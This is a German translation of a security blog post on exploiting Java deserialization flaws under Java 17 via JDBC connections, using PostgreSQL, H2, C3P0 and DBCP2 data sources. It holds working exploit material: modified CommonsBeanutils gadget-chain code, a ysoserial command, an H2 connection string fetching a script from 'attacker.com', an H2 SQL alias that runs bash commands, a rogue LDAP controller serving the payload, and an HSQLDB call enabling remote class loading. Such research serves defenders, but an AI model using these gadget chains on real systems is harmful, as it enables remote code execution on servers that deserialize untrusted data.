Schau mal Mama, kein TemplatesImpl

Ausnutzen von Deserialisierungsschwachstellen per JDBC Verbindungen (unter Java 17)

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

Eine Reihe von Änderungen in Java 16 macht das erfolgreiche Exploiten von Deserialisierungsschwachstellen deutlich schwerer. Dieses Post bietet eine Übersicht über die Hintergründe und liefert ein paar Ideen wie Angreifer dennoch in der Lage sein können ein System erfolgreich zu kompromittieren.

Projekt Jigsaw und das Java Modul-System

Um das Grundproblem zu verstehen, müssen wir uns zunächst ein wenig mit dem Java Modul-System sowie Java-Reflection befassen. Wir erklären hier nur die für das Verständnis notwendigen Grundlagen, eine detaillierte Erklärung findet sich im Java Magazine.

Mit Java 9 und dem Project Jigsaw erhielt Java ein Modul-System, was für die Java-Welt eine fundamentale Änderung darstellt. Stark vereinfacht bietet dieses Modul-System eine bessere Kontrolle welche Teile der JRE/Bibliotheken aktiv von einer Applikation geladen werden sollen und welche Code-Bereiche durch andere Module aufgerufen werden können.

Dieses Modul-System bietet viele Vorteile, unter anderem können hierdurch performantere Anwendungen erstellt werden. Beispielsweise benötigt man bei einem Webcontainer wie Apache Tomcat die von der Java Runtime bereitgestellten GUI Komponenten nicht, daher müssen diese auch nicht beim Start der Anwendung geladen werden. Es ist sogar möglich eine minimale JRE zu erstellen, welche wirklich nur die von der Applikation verwendeten Module beinhaltet, ideal für Container-basierende Umgebungen.

Java Reflection

Java stellte schon vor Java 9 eine Form der Code-Isolation zur Verfügung, diese wurde aber primär durch den Compiler umgesetzt: Methoden und Properties die von den Entwicklern als “private” oder “protected” deklariert wurden können nicht von externen Klassen aufgerufen werden. Hierbei handelt es sich jedoch nur um einen “schwachen” Schutz der relativ einfach per Java Reflection umgangen werden kann. Das folgende Beispiel macht die private Methode “internalMethod” per Reflection public und ruft diese im Anschluss auf.

PrivateObject privateObject = new PrivateObject();

Method internalMethod = PrivateObject.class.
   getDeclaredMethod("internalMethod", null);

internalMethod.setAccessible(true);
String returnValue = (String) internalMethod.invoke(privateObject, null);


Das Implementieren eines robusten Modul-Systems ist nicht möglich wenn eine Technologie existiert das ein einfaches Umgehen dieser Isolation erlaubt. Das Java Modul-System erlaubt Entwicklern daher die Definition welcher Code von anderen Modulen aus aufgerufen und auf welche Teile per Reflection zugegriffen werden kann. Pro Modul wird das über die  module-info.class Datei gesteuert.

Java verwendet dieses Verfahren um den Reflection-basierenden Zugriff auf interne Klassen der Java-Runtime, welche nicht direkt von externem Code aufrufbar sein sollten, zu unterbinden . Für Angreifer ist das ein Problem da viele bekannte Deserialisierungs-Gadget diese internen Klassen verwenden, um eigenen Code auf dem Zielsystem auszuführen.

Java Versionen

Ähnlich wie viele Linux-Distributionen unterscheidet Java zwischen “normalen” und LTS (Long Term Support) Releases die über einen längeren Zeitraum mit Updates versorgt werden. Die meisten Softwarehersteller bevorzugen LTS Versionen, insbesondere wenn die Applikation keinen einfachen Wechsel auf die letzte Java Version erlaubt.

Das Unterbinden des Zugriffs per Reflection stellt eine fundamentale Änderung dar. Dieser Wechsel kann nicht “über Nacht” erfolgen, da viele Dinge nicht länger funktionieren und daher keiner auf die letzte Java-Version wechseln würde. Daher wurde der Wechsel über mehrere Schritte in den einzelnen Java Versionen vollzogen.

Java Version Veröffentlicht Anmerkung
Java 9 September 2017 Reflection-Einschränkungen wurden vom Compiler unterbinden, aber nicht per Runtime
Java 11 (LTS) September 2018 Unberechtigter Zugriff per Reflection erzeugt eine Warnung, ist jedoch nach wie vor möglich
Java 16 März 2021 Unberechtigter Zugriff per Reflection wird von der Runtime blockiert

Mit Java 17 (veröffentlich im September 2017) haben wir die erste LTS Version bei der es standardmäßig nicht mehr möglich ist per Reflection auf interne Java Klassen zuzugreifen. Dies verhindert den Aufruf dieser internen Klassen in Deserialisierungs-Gadgets

Praktisches Beispiel

Schauen wir uns an was das in der Praxis bedeutet. Als Beispiel verwenden wir das CommonsBeanutils1 Gadget, welches recht häufig in Java Applikationen vorhanden ist.

Wir erzeugen die Gadgetchain wie folgt:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "xcalc" > /tmp/testgadget 

CommonBeanutils1 erlaubt Angreifern das Aufrufen einer “Getter-” Methode einer serialisierten Klasse, gewöhnlicherweise ein JavaBean welches getter-/setter-Methoden für den Zugriff auf Bean-Properties verwendet. Die Gadgetchain verwendet diese Funktion um die Methode “getOutputProperties” einer “com.sun.org.apache.xalan.internal. xsltc.trax.TemplatesImpl” Instanz aufzurufen, was wiederum zum Ausführen des von Angreifer im Objekt übergebenen Bytecode führt. Bei dieser Klasse handelt es sich um eine interne Java-Klasse, die eigentlich nicht von externem Code aufgerufen werden sollte.

Wenn wir dieses Objekt nun unter Java 11 deserialisieren gibt die Laufzeitumgebung eine Warnung aus. Der Payload funktioniert jedoch noch da die Zugriffbeschränkungen des Modul-Systems von der Runtime noch nicht erzwungen werden:

--- Deserializer -----------------------------
Java version: 11.0.17+8-LTS
Deserilializing: /tmp/testgadget
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.beanutils.PropertyUtilsBean (file:/home/h0ng10/tmp/jars/commons-beanutils-1.9.4.jar) to method com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
WARNING: Please consider reporting this to the maintainers of org.apache.commons.beanutils.PropertyUtilsBean
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException

Unter Java 17 ist der auf Reflection basierende Zugriff auf interne Klassen nicht länger erlaubt. Es ist daher nicht mehr möglich eine Methode der TemplatesImpl Klasse aufzurufen. Anstatt den Code der Angreifer auszuführen wirft die Anwendung jetzt eine IllegalAccessException:

--- Deserializer -----------------------------
Java version: 17.0.6+9-LTS-190
Deserilializing: /tmp/testgadget
java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @5e922278

Der “TemplatesImpl” Gadget war eine zuverlässige Möglichkeit um eigenen Code bei den meisten Java-Distributionen ausführen zu können, weshalb er häufig das letzte Glied in vielen öffentlichen Gadgetchains war. Unter Java 17 funktionieren diese Gadgetchains nicht mehr “out of the box” und erfordern zusätzliche Anpassungen.

Verwenden von JDBC Verbindungen

Das ist keine komplett neue Situation, Angreifer mussten sich bereits mit ähnlichen Situationen auseinandersetzen. Beispielsweise kann es sein, dass die Applikation einen  look-ahead basierenden Deserialisierungsfilter verwendet, welcher das Deserialisieren einer TemplatesImpl Instanz blockierte.

Wie bereits erwähnt erlaubt das CommonsBeanutils1 Gadget den Aufruf einer “getter” Methode (“getXXX”) auf dem serialisierten Objekt. Das ist nach wie vor eine starke Angriffsprimitive, wir können nur nicht länger die von der Java Runtime bereitgestellten Objekte verwenden.

Für unsere Zwecke nutzen wir hier die vorhandene Arbeit von Xu Yuanzhen und Chen Hongkun. Diese analysierten die Angriffsfläche von gängigen JDBC Connectoren und veröffentlichten im Zuge dessen eine Reihe von interessanten Angriffsvektoren. Wir referenzieren hier insbesondere die folgenden Präsentationen / Blog-Posts, welche wir unseren Lesern gerne zur weiteren Studie empfehlen:

Java bietet zwei Möglichkeiten eine JDBC Verbindung zu erstellen: Durch Aufruf der statischen Methode DriverManager.getConnection() oder durch die Verwendung einer Klasse, welche das DataSource Interface implementiert. Da die DriverManager Klasse nicht serialisierbar ist fokussieren wir uns auf DataSource Implementierungen. Das Interface setzt die Implementierung einer getConnection()Methode voraus, welche wir als finales Glied unserer angepassten CommonBeanutils-Kette verwenden können.

Beispiel: PostgreSQL JDBC Treiber

Als Beispiel verwenden wir die JDBC Implementierung von PostgreSQL welche (laut Maven) der am zweithäufigsten verwendete JDBC Treiber ist. Die Klasse PGSimpleDataSource bietet eine serialisierbare Implementierung des DataSource Interfaces. Das folgende Codebeispiel zeigt eine leicht modifizierte Version der CommonBeanutils Gadgetchain. Anstatt der Angabe eines OS-Befehls muss hier der JDBC Connection String angegeben werden. Hierdurch lässt sich eigener Code auf dem Zielsystem ausführen.

    public Object getObject(final String command) throws Exception {

    // create a PGSimpleDataSource object, holding our JDBC string
    PGSimpleDataSource dataSource = new PGSimpleDataSource();
    dataSource.setUrl(command);

    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator to "getConnection"
    Reflections.setFieldValue(comparator, "property", "connection");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = dataSource;
    queueArray[1] = dataSource;

    return queue;
}

Beispiel: H2 JDBC Treiber

H2 ist eine “in Memory” Datenbank, die häufig zu Demozwecken verwendet wird. Die Missbrauchsmöglichkeiten von H2 Datenbankverbindungen ist schon länger bekannt: Der H2 JDBC Connection-String bietet einen “INIT”-Parameter, welcher die Angabe einer externen Datei mit SQL-Befehlen zur Initialisierung der Datenbank erlaubt:

jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/poc.sql'

H2 bietet zudem ein “Compiler” Feature, welches Entwicklern die Definition eigener Funktionen per Java-Code erlaubt. Durch Angabe eines entsprechenden INIT-Scripts kann dies zum Ausführen von eigenem Code verwendet werden.

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > /tmp/exploited.txt')

Das Ausnutzen von H2 Verbindungen in einem Deserialisierungs-Szenario ist jedoch nicht ganz einfach. Zwar stellt die H2 Bibliothek eine serialisierbare DataSource Implementierung (JdbcDataSource) zur Verfügung, eine serialisierte Instanz dieser Klasse kann aber nicht verwendet werden. Ursache ist die Tatsache, dass die Klasse JdbcDataSource von “TraceObject, abgeleitet wird, welche aber nicht serialsierbar ist.

Versucht man die “getConnection” Methode auf einer deserialisierten JdbcDataSource Instanz aufzurufen, so versucht der Code zuerst die Methode “debugCodeCall” aufzurufen. Dieser Aufruf schlägt jedoch fehlt, da die notwendigen Properties von TraceObject nicht deserialisiert wurden.

@Override
public Connection getConnection() throws SQLException {
    debugCodeCall("getConnection");
    return new JdbcConnection(url, null, userName, StringUtils.cloneCharArray(passwordChars), false);
}

In früheren Java Versionen können Angreifer diese Einschränkung durch Verwendung der Klasse “JdbcROwSetImpl” umgehen. Moritz Bechler veröffentlichte in seinem “Marshalsec” Paper bereits einen modifizierte Version des CommonBeanutils Gadgets der diese Klasse verwendete. Moritz Bechler verwendete sie zum Erzeugen einer ausgehenden JNDI Verbindung, sie erlaubt jedoch auch das Erzeugen einer JDBC Verbindung. Wie TemplatesImpl handelt es sich hier jedoch um eine interne Java Klasse die nicht länger per Reflection aufgerufen werden kann, daher können wir sie in unserem Szenario nicht verwenden. Glücklicherweise können wir aber auf JDBC-Pooling zurückgreifen. .

JDBC Pooling

JDBC Pools erlauben das Managen von Datenbankverbindungen in Java-Anwendungen. Der JDBC-Pool öffnet und verwaltet dabei mehrere JDBC-Verbindungen für die Anwendung. Wenn die Anwendung eine Verbindung zur Datenbank aufbauen muss verwendet sie eine existierende Verbindung des Pools. Nachdem die Datenbankabfrage beendet ist wird die JDBC-Verbindung nicht geschlossen sondern an den Pool zurückgegeben. Das erlaubt der Anwendung die Wiederverwendung von bestehenden Verbindungen, wodurch der durch den Aufbau einer Verbindung erzeugte Overhead entfällt. Wie so oft wurde das Ausnutzen von JDBC-Pools bereits beschrieben. Wir möchten hier insbesondere die Präsentation von  浅蓝’ auf der Beijing Cyber Security Conference 2022 SlidesBlogpost hervorheben, die das aus dem Kontext von JNDI-Exploits erklärt.

Hier eine Liste der beliebtesten JDBC Connection Pool Bibliotheken:

Implementierung Anmerkung
HikariCP Moderne Implementierung, bietet nicht viele serialisierbare Klassen
Commons DBCP Apache Connection Pool Version 1, bietet JNDI Gadgets
Commons DBCP2 Apache Connection Pool Version 2, bietet JNDI gadgets
Druid Ali Baba JDBC Connection Pool
C3PO Bietet einen direkten Gadget (ComboPooledDataSource)
Tomcat JDBC Tomcat JDBC Pool Implementierung, bietet nicht viele serialisierbare Klasen

Anmerkung:
Einige JDBC Implementierungen (beispielsweise MariaDB) bieten eigene Pooling-Implementierungen welche ohne eine Pooling-Library verwendet werden können.

Beispiel: C3PO ComboPooledDataSource und H2

C3POs ComboPooledDataSource ist ein idealer Kandidat für unser Problem. Die Klasse übergibt den JDBC Connection String direkt an den JDBC DriverManager um eine neue JDBC-Verbindung zu erstellen. Das ist mit beliebigen JDBC Connection-Strings möglich, wodurch wir ein sehr generisches Gadget haben. Dazu müssen den “JDBC Verbindungs” Teil in unserem Gadget nur geringfügig anpassen:

public Object getObject(final String command) throws Exception {
	// create a ComboPooledDataSource with our JDBC String
	ComboPooledDataSource dataSource = new ComboPooledDataSource();
	dataSource.setJdbcUrl(command);

    ...
}

Beispiel: Apache Commons DBCP2 und H2

Bei Apache Commons DBCP2 ist die Sache komplizierter. Um per H2 eigenen Code auszuführen können wir die Klasse “SharedPoolDataSource” verwenden. Der Aufruf von “getConnection()” führt zur Ausführung des folgenden Codes:

  1. Ausgehender JNDI Aufruf zu einem von den Angreifern kontrollierten Dienst (typischerweise LDAP)
  2. Erstellen einer neuen JdbcDataSource Instanz per H2 Datasource object factory unter Verwendung der zuvor per JNDI erhaltenen Properties.
  3. Aufruf von “getConnection()” der erstellten JdbcDataSource Insanz

Kümmern wir uns zuerst um den per JNDI aufgerufenen Dienst. Hierzu erweitern wir Artsploits rogue-jndi mit einem passenden Controller:

@LdapMapping(uri = { "/o=h2" })
public class H2 implements LdapController {

    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {

        System.out.println("Sending LDAP ResourceRef result for " + base + " with H2 payload");
        String payloadURL = "http://" + Config.hostname + ":" + Config.httpPort + Config.h2; //get from config if not specified
        String jdbcUrl = "jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '" + payloadURL + "'";


        Reference h2Reference = new Reference("org.h2.jdbcx.JdbcDataSource", "org.h2.jdbcx.JdbcDataSourceFactory", null);
        h2Reference.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
        h2Reference.add(new StringRefAddr("url", jdbcUrl));
        h2Reference.add(new StringRefAddr("user", "sa"));
        h2Reference.add(new StringRefAddr("password", "sa"));
        h2Reference.add(new StringRefAddr("description", "H2 connection"));
        h2Reference.add(new StringRefAddr("loginTimeout", "3"));

        Entry e = new Entry(base);
        e.addAttribute("javaClassName", "java.lang.String"); //could be any
        e.addAttribute("javaSerializedData", serialize(h2Reference));

        result.sendSearchEntry(e);
        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
}

Das eigentliche Gadget muss ebenfalls geringfügig angepasst werden. In diesem Fall muss der Nutzer die JNDI URL als “Kommando” übergeben:

public Object getObject(final String command) throws Exception {
	// create a SharedPoolDataSource with the JNDI URL as "command"
	SharedPoolDataSource dataSource = new SharedPooDataSource();
	mySource.setDataSourceName(command);
    ...

Die Deserialisierung dieses Gadgets in einer minimalen Testumgebung schlägt jedoch fehl: DBCP2 speichert eine Referenz zum verwendeten ConnectionPool im serialisierten Objekt. Während der Deserialisierung versucht es diesen Pool durch einen Aufruf von InstanceKeyDataSourceFactory.getObjectIntance()”. wiederzuverwenden.

private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
    try {
        in.defaultReadObject();
        final SharedPoolDataSource oldDS = (SharedPoolDataSource) new SharedPoolDataSourceFactory().getObjectInstance(getReference(), null, null, null);
        this.pool = oldDS.pool;
    } catch (final NamingException e) {
        throw new IOException("NamingException: " + e);
    }
}

Wir können das umgehen indem wir eine Null-Referenz angeben, das führt jedoch beim späteren Aufruf von “getConnection()” zu einer Exception:

@Override
public Connection getConnection(final String userName, final String userPassword) throws SQLException {
    if (instanceKey == null) {
        throw new SQLException("Must set the ConnectionPoolDataSource "
                + "through setDataSourceName or setConnectionPoolDataSource" + " before calling getConnection.");
    
    }
    ...

Angreifer könnten dennoch in der Lage sein, diese Gadgetchain in realen Angriffen zu verwenden. Bei einer ConnectionPool-Referenz handelt es sich um eine einfache Nummer, welche als String gespeichert wird (z. B: “1”, “2”). Geht man davon aus, dass mindestens ein ConnectionPool existiert (dazu hat man ja Connection Pooling) können Angreifer einfach diese Referenz benutzen, da es egal ist ob dieser Pool von einer anderen Datenbank verwendet wird.

Weitere Ideen

Verwenden von Connection-Initialisierungs und Validierungsfunktionen

Eine JDBC Pool Bibliotheken bieten, dem “INIT” Feature von H2 JDBC Connection Strings ähnliche Funktionen die eine Konfiguration von SQL Anfragen für die folgenden Szenarien erlauben:

  • Initialisierung einer neuen Verbindung
  • Überprüfung einer bestehenden Verbindung

Je nach Datenbank kann dies für Angreifer ebenfalls nützlich sein. Beispielsweise erlaubte HSQLDB vor Version 2.7.1 das Aufrufen von beliebigen statischen Java-Methoden per SQL (CVE-2022-41853). Wie 浅蓝 bereits in seinen Slides angemerkt hat, kann das zum Aufruf von System.setProperty verwendet werden worüber sich wiederum die Property “com.sun.jndi.rmi.object.trustURLCodebase” auf true setzen lässt. Das erlaubt wieder Remote-Class Loading per JNDI, wodurch sich wiederum eigener Code ausführen lässt:

CALL "java.lang.System.setProperty"('com.sun.jndi.rmi.object.trustURLCodebase', 'true')

Wir haben das nicht vollständig getestet, aber das Ausführen von SQL Validation-Query funktioniert vermutlich nicht in Kontext eines Deserialisierungsangriffs. Die Anwendung versucht nach der Deserialisierung das Objekt auf den erwarteten Datentyp zu casten, was in der Regel zu einer Exception führt. Die Datenbankverbindung ist dann vermutlich schon terminiert, noch bevor die Validierungs-Anfrage überhaupt ausgeführt wird. Initialisierungs-Anfragen sollten aber funktionieren.

Zusammenfassung

Java 17 verhindert die Verhindert das Verwenden vieler bekannter Gadgetchains, da diese interne Javaklassen verwenden um Code auszuführen. Das Ausnutzung von Deserialisierungsschwachstellen in einer solchen Umgebung ist nach wie vor möglich, erfordert jedoch eine Anpassung von Gadgetchains an das jeweilige Zielsystem.

Es war sowieso viel zu einfach 😉


Vielen Dank an Zac Ong bei Unsplash für das Titelbild..